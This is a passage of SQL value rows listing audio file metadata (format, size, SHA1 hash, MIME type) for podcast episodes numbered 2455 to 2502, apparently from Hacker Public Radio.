(2455,'hpr2455.ogg','ogg',46946023,'fe09fe7102e900a0bd3c56dd2290b16788a74314','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2455,'hpr2455.spx','spx',18258062,'d628b14450cc30a09ee0f4cc49a5ca5850120491','application/ogg; charset=binary','Ogg data, Speex audio'),
(2456,'hpr2456.mp3','mp3',42974567,'d26fb4d74dd140291abd74d39df58b77dd78e7a0','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2456,'hpr2456.ogg','ogg',42764168,'b9be64d7270fd6611a46c48af455ad2bd24ac2a6','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2456,'hpr2456.spx','spx',19192655,'a340ac25216a81c9bbb51bf96b129f50f0720200','application/ogg; charset=binary','Ogg data, Speex audio'),
(2457,'hpr2457.mp3','mp3',10409877,'56e61ac11ddbb3e0e647599959ad80a3323e4ea6','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2457,'hpr2457.ogg','ogg',11651878,'e487d5fa437a25a5b5611fbc4e4714e0ef4a055d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2457,'hpr2457.spx','spx',4648848,'bfc8bf51d5ac54153024fce0e41c0e2a6c52ae57','application/ogg; charset=binary','Ogg data, Speex audio'),
(2458,'hpr2458.mp3','mp3',6222536,'dbb45cb3271b2a53805dfe74398cf73329c0ab63','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2458,'hpr2458.ogg','ogg',6794840,'6da7f2f5ca17e9176378adb85badca3ca9ad0a90','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2458,'hpr2458.spx','spx',2778773,'fe5477337dcabaef9c1e94f808461256c0f566a3','application/ogg; charset=binary','Ogg data, Speex audio'),
(2459,'hpr2459.mp3','mp3',4582854,'7b4be271934c5f885cf78ecef0c28fe87b10d46d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2459,'hpr2459.ogg','ogg',5154830,'b054134e24d302988ff3b009e8f061aa2c764978','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2459,'hpr2459.spx','spx',2046466,'aab64c940d5a4d29e8de7fc40bbce66cf60fffcc','application/ogg; charset=binary','Ogg data, Speex audio'),
(2460,'hpr2460.mp3','mp3',55772100,'a3df49fc1ae0a60255c01af9c654d23be983e14a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2460,'hpr2460.ogg','ogg',64034500,'123115144930d3862a56d4e44fe922bbfbf1049f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2460,'hpr2460.spx','spx',24908145,'97bc91efd5b1932ed25b08b9bf037f2bb5a725ba','application/ogg; charset=binary','Ogg data, Speex audio'),
(2461,'hpr2461.mp3','mp3',14970789,'8708a6db0bddb44619e6fb79fa28645487543d1f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2461,'hpr2461.ogg','ogg',15013200,'c8d8166de5abb93741af33cb798b3cd6bb665ce4','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2461,'hpr2461.spx','spx',6685817,'9f6c302ccee26a62af63aa1cefa52d8d67722b00','application/ogg; charset=binary','Ogg data, Speex audio'),
(2462,'hpr2462.mp3','mp3',56589822,'2813fa418faa4959ee75c9216cbd96da8dac159b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2462,'hpr2462.ogg','ogg',63514679,'92fe2b3b5ef28e3b209d0202cefbec3a92e2280f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2462,'hpr2462.spx','spx',25273360,'8e1ab85fe6079e3e052127badfbec3d308ccc501','application/ogg; charset=binary','Ogg data, Speex audio'),
(2463,'hpr2463.mp3','mp3',7172953,'b3ba440bc8ee4eab4bce580086a0ec8b18f39cbf','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2463,'hpr2463.ogg','ogg',7428041,'8a7b9aa442b0cf0934e610eff6fa2fb09ca70957','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2463,'hpr2463.spx','spx',3203218,'a695ba7c28025d3b604b08e82d6be72b9a82a7c1','application/ogg; charset=binary','Ogg data, Speex audio'),
(2464,'hpr2464.mp3','mp3',32372658,'e9816c241ed6def2fad8034bf07df0b134b8a635','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2464,'hpr2464.ogg','ogg',35952725,'0c5d25915354cc4d94e2a2a11e038b253264c92d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2464,'hpr2464.spx','spx',14457705,'57d3210e275853838b56bd26f3f1675731422dda','application/ogg; charset=binary','Ogg data, Speex audio'),
(2465,'hpr2465.mp3','mp3',14439402,'a4b34be8e6194cadb394a1753cc05338e01c4b45','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2465,'hpr2465.ogg','ogg',15788119,'f516775571d65254be9fe9aa2cdc1d58c74801a2','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2465,'hpr2465.spx','spx',6448492,'3e1e18261d9176c0b13b32c993e41ad274bd5d2b','application/ogg; charset=binary','Ogg data, Speex audio'),
(2466,'hpr2466.mp3','mp3',4635317,'391a7220a5fd8ea9970968fe78528a3251db4b05','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2466,'hpr2466.ogg','ogg',5401502,'2bd965e597d7daa72df193ec03d401b9bb7b1c0f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2466,'hpr2466.spx','spx',2069898,'42b4003f111538d7906f9f1c8684c1e8ed14c4dc','application/ogg; charset=binary','Ogg data, Speex audio'),
(2467,'hpr2467.mp3','mp3',5674821,'47f91f49b07524f2d575d2260a2f8b11fa1f4246','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2467,'hpr2467.ogg','ogg',5946269,'761cce53a9a8c6043c0e928d8b0803f6a6976465','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2467,'hpr2467.spx','spx',2534195,'97a058768b4ad61b3bf1f887b6f44bf14fdd619b','application/ogg; charset=binary','Ogg data, Speex audio'),
(2468,'hpr2468.mp3','mp3',4337748,'4199534808ed18508072414af094bf6251afbef5','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2468,'hpr2468.ogg','ogg',4523769,'70446a008bb2ab2c0510335622ad6897d6957da3','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2468,'hpr2468.spx','spx',1937090,'cf9b4e4bc74ec9665775b373037164872f565ce3','application/ogg; charset=binary','Ogg data, Speex audio'),
(2469,'hpr2469.mp3','mp3',9604452,'85f21a38c51d8986200c251432175c43a1bbe9d4','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2469,'hpr2469.ogg','ogg',10728154,'5c290293d1467f0645c146ff1716b32696896752','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2469,'hpr2469.spx','spx',4289192,'9cb424650a86af18dc6b77cfef6cb456c705ceba','application/ogg; charset=binary','Ogg data, Speex audio'),
(2470,'hpr2470.mp3','mp3',7465344,'d7a16cf6cfd65855c3200b23c6ac6c3f724d98f4','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2470,'hpr2470.ogg','ogg',8512352,'3d09627c8a51b17ccb016fd1da0f6f56c3bb46a4','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2470,'hpr2470.spx','spx',3333800,'38ecaab50913fa5d9eafd0fdac206f6e06492c9d','application/ogg; charset=binary','Ogg data, Speex audio'),
(2471,'hpr2471.mp3','mp3',4092976,'3e98cb37d7d56dc31c431369175dfcfceb69a40c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2471,'hpr2471.ogg','ogg',4765477,'876bb2f60da5d49315541b766533e32a8818ac48','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2471,'hpr2471.spx','spx',1827629,'b28a23c2b9a442d0a769620f184bbc2deba41469','application/ogg; charset=binary','Ogg data, Speex audio'),
(2472,'hpr2472.mp3','mp3',9077406,'6cb2679824f9e221960e45dd8ec7eb94e6a3f1b4','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2472,'hpr2472.ogg','ogg',9475477,'ca33026794527334fcbce84f5ce9fe8bbc285bb4','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2472,'hpr2472.spx','spx',4053807,'2d6fcbc21f7d681a87aea372da6a8f2a415af1fd','application/ogg; charset=binary','Ogg data, Speex audio'),
(2473,'hpr2473.mp3','mp3',5950909,'8795ecda602b3765fe0861a63a7feee2b6627d63','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2473,'hpr2473.ogg','ogg',5839145,'07ca3d457b61bae0aa11922119db289727052495','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2473,'hpr2473.spx','spx',2657505,'facbc2574f14b4568db454506232d24b1fef8919','application/ogg; charset=binary','Ogg data, Speex audio'),
(2474,'hpr2474.mp3','mp3',6957552,'29c4e6dd37085a7ed12b72818a6c6b8d0f2463d7','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2474,'hpr2474.ogg','ogg',6570018,'72cd4fcbdfc7d0ddbf5a405de70ec6cff064ede0','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2474,'hpr2474.spx','spx',3107017,'488d1f88222ea1963a0a195a478028b3cb972e51','application/ogg; charset=binary','Ogg data, Speex audio'),
(2475,'hpr2475.mp3','mp3',21962313,'8a2d7a19f2cb6821378603502eaa51a44be0ef3a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2475,'hpr2475.ogg','ogg',23917884,'09d8d794f57e9535aefb5d12d47f66353f8080c1','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2475,'hpr2475.spx','spx',9808353,'116173a76c5acca8a0f8130eb200a4c4da8cd66e','application/ogg; charset=binary','Ogg data, Speex audio'),
(2476,'hpr2476.mp3','mp3',16740265,'2fa1776a56043fc948c3925bba95c3cc2c46531e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2476,'hpr2476.ogg','ogg',16572427,'0061ec8052354514a364d1cd4649428d5ebe3f20','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2476,'hpr2476.spx','spx',7476058,'7a87d0aadf8a9b13ff2423147696a60fb0e330cc','application/ogg; charset=binary','Ogg data, Speex audio'),
(2477,'hpr2477.mp3','mp3',5999397,'22e0ef66192cb76e79f054802a981495fc1ab979','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2477,'hpr2477.ogg','ogg',6999115,'0c78a09594c31a2d6e1226187148b6ef1899d277','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2477,'hpr2477.spx','spx',2679158,'d7e0dff11bceaa354d83e2de75b00ca346166d2d','application/ogg; charset=binary','Ogg data, Speex audio'),
(2478,'hpr2478.mp3','mp3',41818910,'ff815e585259ad070e1b52ac8b39345155b8a4f4','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2478,'hpr2478.ogg','ogg',45804661,'dfbc16dcf2ed41f7b017885f6327d021c711267f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2478,'hpr2478.spx','spx',18676501,'bed18e4ef9b5f1d4794d028c90442eb11d125b11','application/ogg; charset=binary','Ogg data, Speex audio'),
(2479,'hpr2479.mp3','mp3',14866119,'b4d63c16f34d927c817dfaaabeb4885a7be53e51','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2479,'hpr2479.ogg','ogg',15226673,'274a4198be465db7839c3a2dcb872cef883b9026','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2479,'hpr2479.spx','spx',6639045,'b9c53a1ec1592c3bb8afad01c73e8f9a0620d7c4','application/ogg; charset=binary','Ogg data, Speex audio'),
(2480,'hpr2480.mp3','mp3',9629116,'39ac1e7fb33c211e2539d41bf44e3ac59b489fe6','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2480,'hpr2480.ogg','ogg',10655743,'b5748fbbbe51f224cf9950c297db3902fe578037','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2480,'hpr2480.spx','spx',4300185,'bb610422ead90f0089ec1bf70f2eabdffefe369f','application/ogg; charset=binary','Ogg data, Speex audio'),
(2481,'hpr2481.mp3','mp3',37204847,'6670ba4a7a0df80f89515090c5f07448a8284e89','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2481,'hpr2481.ogg','ogg',36854681,'bb63b3aa29ed3a91e323d1e0bd09a1a5dae1e0ec','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2481,'hpr2481.spx','spx',16615825,'e9437a186bb0e512122d2902f32ef936166346bc','application/ogg; charset=binary','Ogg data, Speex audio'),
(2482,'hpr2482.mp3','mp3',10951544,'d73cbf1bd7231040d4b6a5944382a99878378df2','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2482,'hpr2482.ogg','ogg',11935218,'7daa8cbd13e28fb3af72ab3e02cee0fb80bcd844','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2482,'hpr2482.spx','spx',4890785,'dbeee1a879448b02156754ed9c6247a510c8f347','application/ogg; charset=binary','Ogg data, Speex audio'),
(2482,'hpr2482.wav','wav',120188948,'fe659bbabd1a8704bf79bb4fd63964525c778339','audio/x-wav; charset=binary','RIFF (little-endian) data, WAVE audio, Microsoft PCM, 16 bit, mono 44100 Hz'),
(2483,'hpr2483.mp3','mp3',20180924,'4b921f6422d5716bbcf0995def72f6fe98fa086e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2483,'hpr2483.ogg','ogg',22411545,'d7626e5d58b9145443efc77ec9eaa5c43ada43e4','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2483,'hpr2483.spx','spx',9012760,'b83300b961f5469bbc280c8ec92e905d54816668','application/ogg; charset=binary','Ogg data, Speex audio'),
(2484,'hpr2484.mp3','mp3',10374744,'f0188bd8e854baa42f65af862a563f59a1834482','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2484,'hpr2484.ogg','ogg',11000141,'d003fb07ddef2bb0b375105b1f3b536be1783bb7','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2484,'hpr2484.spx','spx',4633238,'5dcbd35308c35e7b2cf17836e5923cbc820b1ccd','application/ogg; charset=binary','Ogg data, Speex audio'),
(2485,'hpr2485.mp3','mp3',38175244,'252e0a301240b9b2f4b06567dbb074c22785b88a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2485,'hpr2485.ogg','ogg',43975178,'00f5dfc5bc54532aae1404022c457741153cbbe7','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2485,'hpr2485.spx','spx',17049227,'c72b1a48604d78a7eba5bc0ada97d1c717970834','application/ogg; charset=binary','Ogg data, Speex audio'),
(2486,'hpr2486.mp3','mp3',8860119,'0b53f2d392015d9d726b59419133ec58e85ce29b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2486,'hpr2486.ogg','ogg',10947886,'de65e80973a59152d3ec15989bdd2b4b6fc0afbd','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2486,'hpr2486.spx','spx',3956820,'f001a0a67e3a7d368c039f24b23e4768e456387c','application/ogg; charset=binary','Ogg data, Speex audio'),
(2487,'hpr2487.mp3','mp3',2543647,'e8a37e085f40a0f62de42bbc0e6794f04995ab64','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2487,'hpr2487.ogg','ogg',2641679,'8530fe9ed28335906e04e44b78f9cd33e37a363b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2487,'hpr2487.spx','spx',1135755,'aa3ea2eee2c37c52a3bd1a8c5baf9a496b52d6a4','application/ogg; charset=binary','Ogg data, Speex audio'),
(2488,'hpr2488.mp3','mp3',7414352,'6726bd13384a2f9d558cb733bde9c45272169a30','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2488,'hpr2488.ogg','ogg',8237538,'2727b17af4658cd33f7ea4ffccc86ebdb4961b3e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2488,'hpr2488.spx','spx',3311086,'8ccdd819920a7a8fd1c0fee77da88d7d7cf207a2','application/ogg; charset=binary','Ogg data, Speex audio'),
(2489,'hpr2489.mp3','mp3',13127450,'239c79f61b17d54a317d317f447cc73c9a626566','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2489,'hpr2489.ogg','ogg',13816971,'70a9484c9f599f7a0d6fca2f6bb87a75997643a4','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2489,'hpr2489.spx','spx',5862561,'96cd18f844effad8d34707f2f7b50b2153d306f2','application/ogg; charset=binary','Ogg data, Speex audio'),
(2490,'hpr2490.mp3','mp3',8770001,'73ae69b476632bff1235a48a0415eb1d3edce357','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2490,'hpr2490.ogg','ogg',9992957,'bf040eb629f34327a11520f1c77695d40015f640','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2490,'hpr2490.spx','spx',3916529,'3897084edb76804e8fe99a9a62e7743bb90385a2','application/ogg; charset=binary','Ogg data, Speex audio'),
(2491,'hpr2491.mp3','mp3',8766464,'af31fbfd1dad5468ff43834f3a8e374969905474','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2491,'hpr2491.ogg','ogg',10124841,'bc898585e2a4b253efdaaafa9d823c46406246f3','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2491,'hpr2491.spx','spx',3914911,'de7c89fc858f63e16ed18ab2bf4b25f3561646eb','application/ogg; charset=binary','Ogg data, Speex audio'),
(2492,'hpr2492.mp3','mp3',16698712,'7a3ab03d9ab4ea6e439ea8080d2f2659865616aa','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2492,'hpr2492.ogg','ogg',15690525,'7f590f3e7cb8f424859ceabc4b415fe5a09fbf9e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2492,'hpr2492.spx','spx',7457497,'4892f3feba2de8a49e708286855aff0274780258','application/ogg; charset=binary','Ogg data, Speex audio'),
(2493,'hpr2493.mp3','mp3',8158966,'37abbf71e6b2b34acdd65cceaa077f17deca3841','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2493,'hpr2493.ogg','ogg',9080671,'1ef5d1857913aa384de8324ce43319ca245777be','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2493,'hpr2493.spx','spx',3643602,'8a2f04045be58d9fe3b495e27b6d4c5b2037af98','application/ogg; charset=binary','Ogg data, Speex audio'),
(2494,'hpr2494.mp3','mp3',10749903,'b92730e569bfbf53cd2950e29172bcfa51964287','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2494,'hpr2494.ogg','ogg',11925864,'cb5609aa515c36952ac8973348ce792138772fbd','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2494,'hpr2494.spx','spx',4800711,'a9841a0ebb22f08996d95b5555c515c8ffb50d80','application/ogg; charset=binary','Ogg data, Speex audio'),
(2495,'hpr2495.mp3','mp3',6866624,'5b78c2f883d25f844696c39ae573c8bcbc196311','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2495,'hpr2495.ogg','ogg',7818111,'f60baf193c58c196b6c8464d936c9b7c567ebad1','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2495,'hpr2495.spx','spx',3066424,'83c007d153d542fc4f62dc1570c1f8760e203941','application/ogg; charset=binary','Ogg data, Speex audio'),
(2496,'hpr2496.mp3','mp3',6451176,'9b64664e5004f0785df18295d2a22e2c572fdafd','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2496,'hpr2496.ogg','ogg',7217215,'ac14b7c65fb5c7a0cf1b314ff84a8ce1a54676c4','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2496,'hpr2496.spx','spx',2880923,'4702ece173ffd4c2b131aaec17bff1fec9b29d7a','application/ogg; charset=binary','Ogg data, Speex audio'),
(2497,'hpr2497.mp3','mp3',106693456,'0ca992b3e0d75c1af6f665d95d8d35ce1da5998a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2497,'hpr2497.ogg','ogg',102904317,'d3df82047cdb93867823a1c1fa58a2be0a6f0de9','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2497,'hpr2497.spx','spx',47650125,'ea53713727a4505d7143ddfa1ccaf4b46497cc95','application/ogg; charset=binary','Ogg data, Speex audio'),
(2498,'hpr2498.mp3','mp3',3190646,'dd74830c1befcdd893ebdf50dcc42f58cc6de546','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2498,'hpr2498.ogg','ogg',3551293,'48b0fcc2831ec342a7a7cbc7c6fc70fbfb6711d2','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2498,'hpr2498.spx','spx',1424713,'ee346e180dcf5195f8854a899a9b6c8d28fa8e15','application/ogg; charset=binary','Ogg data, Speex audio'),
(2499,'hpr2499.mp3','mp3',7253265,'98ef7c778afad45dead57a817a608779f95fbb5e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2499,'hpr2499.ogg','ogg',7887935,'00bd59ae16769f96a90aa823d125ec76954546ea','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2499,'hpr2499.spx','spx',3239167,'3e3f4e808941ff71315cb38a1d2716d537eec652','application/ogg; charset=binary','Ogg data, Speex audio'),
(2500,'hpr2500.mp3','mp3',11273162,'6a8384d697a6e32507f684bf9d4d9f2358161794','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2500,'hpr2500.ogg','ogg',13364969,'4481522d4ba8294248929ab1af1d7ca52c92aa76','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2500,'hpr2500.spx','spx',5034438,'2617170ff3dad039a1ae7f44111c9aa805fd62d2','application/ogg; charset=binary','Ogg data, Speex audio'),
(2501,'hpr2501.mp3','mp3',24182077,'8ea9415dd811d086ac15677cdea4de70d8cb102f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2501,'hpr2501.ogg','ogg',23694630,'d86e49f9af98027e21dc20e1634fa124343320c0','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2501,'hpr2501.spx','spx',10799664,'a96a62e587d0e838e3c44ef880f9e830f3fd7ef1','application/ogg; charset=binary','Ogg data, Speex audio'),
(2502,'hpr2502.mp3','mp3',4587276,'bb039134c075fb86c9f5f8f5a2aaa5dd2a931440','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2502,'hpr2502.ogg','ogg',4871755,'cac5c13f5972d6e32d05e7e4cc5544849b2fab9f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2502,'hpr2502.spx','spx',2048416,'aa8ced9218acf76c5faf5d895e11948a74d7fb0e','application/ogg; charset=binary','Ogg data, Speex audio'),
